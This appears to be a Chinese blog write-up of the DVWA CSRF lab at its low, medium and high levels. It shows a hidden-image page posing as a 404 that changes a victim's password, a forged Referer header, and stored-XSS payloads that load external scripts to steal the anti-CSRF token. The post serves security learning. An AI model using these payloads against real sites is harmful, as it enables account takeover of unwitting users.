DVWA之CSRF攻击

最新推荐文章于 2024-03-16 22:32:16 发布
最新推荐文章于 2024-03-16 22:32:16 发布
阅读量2k 收藏 7
点赞数 2
文章标签： web js xss
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_47726676/article/details/116747312
版权

在这里插入图片描述
CSRF（Cross-site request forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。

在这里插入图片描述

LOW

源代码

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];    
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

解析

$GLOBALS  --引用全局作用域中可用的全部变量
mysqli_real_escape_string() --转义在 SQL 语句中使用的字符串中的特殊字符

判断用户输入的'password_new'与'password_conf'是否相同，如果不相同，报出Passwords did not match.。如果相同，查找数据库中有没有和pass_new相同的对象，没有的话报错，有的话，使用mysqli_real_escape_string()对特殊字符转义，再用md5进行加密，最后更新数据库

构造链接

输入两次不一样的密码,查看URL
在这里插入图片描述
接着将密码改成希望设置的密码

http://10.12.202.9/dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#

打开一个新的dvwa页面，在url中粘贴构建的url，直接跳转到修改密码成功的页面了。
原先的用户名为admin，密码是password。logout一下，再使用原先的密码已经不行了，攻击成功。

短链接

由于长链接意图过于明显，可以使用网上在线短链接生成器换成短链接。

在这里插入图片描述
同样可以跳转

构造网页

上述两种方法都会跳转到密码更改成功的界面，不隐蔽，使用如下html编写一个网页

<img src="http://10.12.202.9/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>　　

当用户访问该页面时，会以为页面不存在，实际上我们已经更改了他的密码

Medium

源代码

CSRF Source
vulnerabilities/csrf/source/medium.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

解析

stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

stripos() 函数查找字符串在另一字符串中第一次出现的位置（不区分大小写）。
HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器该网页是从哪个页面链接过来的，服务器因此可以获得一些信息用于处理。
SERVER_NAME是要访问的主机名
过滤规则为http包头的Referer参数的值中是否包含主机名

抓包

首先正常访问修改密码的网址，更改密码，上传进行抓包
在这里插入图片描述
可以看到有一栏Referer,就是该页面的url
接着使用此前构造的网页尝试
在这里插入图片描述
会发现没有这一行
我们在此报文上加入这一行
可以看到密码成功更改在这里插入图片描述

High（有点问题）

源代码

CSRF Source
vulnerabilities/csrf/source/high.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

解析

在这里插入代码片

方法一

目标网站：10.12.202.25 本地网站：http://192.168.1.15
WEB根建立一个x.js脚本文件

ifr = document.createElement('iframe');
ifr.src="../csrf";
ifr.hidden=1;
document.body.appendChild(ifr);
setTimeout(function(){f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;},4000)

设置浏览器代理为经过burpsuite访问
在这里插入图片描述
进入dvwa，设置level 为high，进入XSS （Stored）页面，并打开拦截
在页面上随意输入，提交
将报文传到repeater
更改name并提交，执行四次，代码如下：

<svg/onload="setTimeout(function(){b='ipt';a='scr';s=a %2B b},3000)">

<svg/onload="setTimeout(function(){j=document.createElement(s)},4000)">

<svg/onload="setTimeout(function(){j.src='http://http://192.168.1.15/x.js'},5000)">

<svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">

在这里插入图片描述
四次注入完，页面应呈现状态
在这里插入图片描述

**1）**可以通过xss(stored)的url登录

http://10.12.202.25/dvwa/vulnerabilities/xss_s/

**2）**登录快捷方式（或某个网站），该网站页面引用了dvwa的XSS（Stored）页面，使管理员进入XSS（Stored）页面。
详见xss手动版
**3）**在自己的站点建立一个1.html文件，内容

<script>
aa=window.open("http://10.12.202.25/dvwa/vulnerabilities/xss_s/","","fullscreen=1","alwaysLowered=1","titlebar=no","toolbar=no","menubar=no","scrollbars=no", "location=no", "status=no","depended=yes");
aa.blur();
self.focus();
aa.resizeTo(10,10);
aa.moveTo(screen.availWidth,screen.availHeight);
</script>
<h1>404<h1>
<h2>file not found.<h2>

让管理员浏览这个站点上的xxx.html文件。浏览该文件会打开一个窗口访问XSS（Stored）页面。

将这段代码存入存储型xss

<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>

方法二

在这里插入图片描述
user_token在一个input函数下
我们需要拿到隐藏的input函数的value，再放到伪造的请求中，就可以实现攻击了。
利用抓包将name改为

<SCRIPT src="http://172.20.10.4/test.js"></SCRIPT>

test.js如下：

var xhr=new XMLHttpRequest();
xhr.open('get','../csrf');
xhr.send();
var res="";
var token="";
xhr.onreadystatechange = function () {
        if (xhr.readyState == 4 && xhr.status == 200) {
            res = xhr.responseText;
			var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = res.match(regex);
			token=match[1]
			
			var xhr_new=new XMLHttpRequest();
			var new_url='../csrf/?password_new=456&password_conf=456&Change=Change&user_token='+token;
			xhr_new.open('get',new_url)
            xhr_new.send()
        }
    };　　

接着希望用户能够转到存储型xss页面

<a href="http://10.12.202.23/dvwa/vulnerabilities/xss_s/">指向本网站中的一个页面的链接</a>
JeremyHeria
关注
  • 2
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA下的CSRF攻防实战(详解)
一期一会的博客
04-20 4648
DVWA下的CSRF攻防实战（详解） 我们简单谈一谈CSRF与XSS的区别： CSRF (cross site request forgery)跨站请求伪造。CSRF是用户在不知情的情况下提交请求，而XSS是用户自己点击链接来访问网页。 整个攻击过程： 用户浏览并登录受信任网站A（dvwa），登录成功以后网站A会返回浏览器的信息中带有已登录的cookie，cookie信息会在浏览器端保存一定时间（根据浏览器设置而定），在用户没有退出网站A的情况下访问恶意站点B（这里在win2003制作一个危险网站），该危
DVWA-CSRF(跨站请求攻击)
HoYim
03-27 310
CSRF(Cross-site request forgery) CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF与XSS最...
DVWA靶机-XSS与CSRF、文件上传的攻击原理、分类、对比以及漏洞演示（low、Medium、Hign、Impossible）
最新发布
天下著书立传者，皆为我师
03-16 1068
DVWA靶机--讲解XSS与CSRF、文件上传的攻击原理、分类、对比以及漏洞演示（low、Medium、Hign、Impossible）
DVWA 之 CSRF
RexHa的博客
09-30 6749
CSRF，跨站域请求伪造，通常攻击者会伪造一个场景（例如一条链接），来诱使用户点击，用户一旦点击，黑客的攻击目的也就达到了，他可以盗用你的身份，以你的名义发送恶意请求。
DVWA之CSRF攻击（Low&medium&High）
liweibin812的博客
01-14 5079
CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF与XSS最大的区别就在于，CSRF并没有盗取cookie而是直接利用。在20...
Dvwa之Csrf攻击笔记
JBlock的博客
10-22 2090
介绍今天笔者便用dvwa漏洞测试环境来探讨一下跨站请求攻击。 Csrf全称为Cross-Site Request Forgery中文解释为跨站请求伪造攻击。Csrf通常与XSS结合起来进行利用，一般存在XSS漏洞的网站，很大可能也存在Csrf漏洞。二者最简单的区别就是一个是获得用户信任，一个是获得服务端的信任。生活场景 比如说有一天，你闲来无事在寝室上网，然后打开网页，查看一下自己的银行余e，
DVWA-csrf
告白的博客
07-28 430
0x00 漏洞介绍 CSRF全称为跨站请求伪造（Cross-site request forgery），是一种网络攻击方式，也被称为 one-click attack 或者 session riding。 CSRF攻击利用网站对于用户网页浏览器的信任，挟持用户当前已登陆的Web应用程序，去执行并非用户本意的操作。 用户登录、浏览并信任正规网站WebA，同时，WebA通过用户的验证并在用户的浏览器中产生Cookie。 简单理解：将即将支付网址连接盗取，将伪造站点操作代码放在csrf伪造站点，当点击伪造站点自动
pikachu，dvwa的csrf详细步骤
05-17
初学者可以参考
用Burp对DVWA重放爆破攻击文章的配套资源
05-26
用Burp对DVWA重放爆破攻击文章的配套资源（包含火狐、Burpsuite、PHPstudy、dvwa等）
dvwa环境搭建以及模拟攻击
08-22
dvwa环境搭建以及模拟攻击方法 win7环境下！　
Web安全之DVWA入门
03-10
web安全之dvwa入门篇书籍，小白学习中的好书籍！！！！
跨站攻击(XSS+CSRF).docx
01-05
跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。...
DVWA-CSRF
ahannn的博客
02-15 2995
欢迎各位指出错误以及补充有关知识，这一系列用于个人学习记录,在记录DVWA的同时也记录所用的相关知识，尽可能详细写，如果能帮到和我一样的安全小白我很荣幸 文章目录 一 CSRF是什么？ 二 CSRF防御与攻击原理 三 DVWA分析 1.low 2.medium 3.high 总结 一、CSRF是什么？ CSRF 跨站点请求伪造(Cross—Site Request Forgery) 攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求...
dvwa之csrf
qq_17762247的博客
05-15 342
一、简介 CSRF是指在受害人不知情的情况下，以其身份向服务器发送服务器发送请求，从而执行非法操作（转账，改密等）。以转账为例，受害人A使用浏览器登录某银行网站B完成查看余额操作后，在未退出的情况下访问了攻击网站C，C利用浏览器中的Session伪造转账请求发送给B，由于B发现该转账请求包含用户登录信息，转账成功。Cross-site是指受害者在访问网站C时给网站B发送了请求，request forgery是指该请求是网站C伪造的，并不是A的本意。 二、Low 1、服务器端代码 <?php if(
dvwa csrf
一个安全研究员
05-17 607
科普 csrf就是江湖中的借刀杀人，这里的刀就是用户的cookie，例如：当一个用户登陆了某个系统时，该用户就持有了这个系统分发给他的会话，然后csrf这个漏洞就是我们可以利用这个会话来伪造请求。具体的利用方法，我将通过dvwa中的实例来讲解。 low 虽然我们的dvwa中比起真实的环境差了太多，但是我们可以假设我们现在处于一个真实的环境中，我们打开csrf页面，可以看到是一个改密的页面： ...
dvwa之CSRF
Alsn86的博客
02-05 348
dvwa之CSRF 是一个修改密码的功能 把密码修改为111111的请求数据包是这样的,请求链接为http://192.168.1.110/dvwa-master/vulnerabilities/csrf/?password_new=111111&password_conf=111111&Change=Change CSRF之low等级 <?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_G
DVWA之CSRF
weixin_42075643的博客
02-20 674
CSRF：跨站点请求伪造（Cross—Site Request Forgery） 也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种冒充合法用户在当前登录或登录过的且登录信息尚未过期的Web浏览器或者应用程序上执行恶意的操作的攻击方法。跟跨站脚本（XSS）相比，XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。 漏洞原理： 合法路人甲登录网站A，登录成功后，服务器返回一个存有用户登录信息的coo.
DVWA系列之17 CSRF攻击介绍与实施
weixin_33778544的博客
11-15 136
CSRF（Cross-Site Request Forgery）跨站点请求伪造，这种攻击方式的特点是：攻击者盗用你的身份，以你的名义进行某些非法操作。CSRF能够使用你的帐户发送邮件，获取你的敏感信息，甚至盗走你的财产。 当我们打开或登录某个网站后，在浏览器与网站之间将会产生一个会话，在这个会话没有结束时，你就可以利用你的权限对网站进行某些操作，如：发表...
dvwa的csrf实验
05-16
DVWA是一个用于测试Web应用程序安全性的漏洞测试平台，其中包括了一些常见的Web安全漏洞实验，其中包括CSRF攻击实验。下面是实现DVWA的CSRF攻击的步骤： 1. 打开DVWA漏洞测试平台，进入CSRF攻击实验页面。 2. 在...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值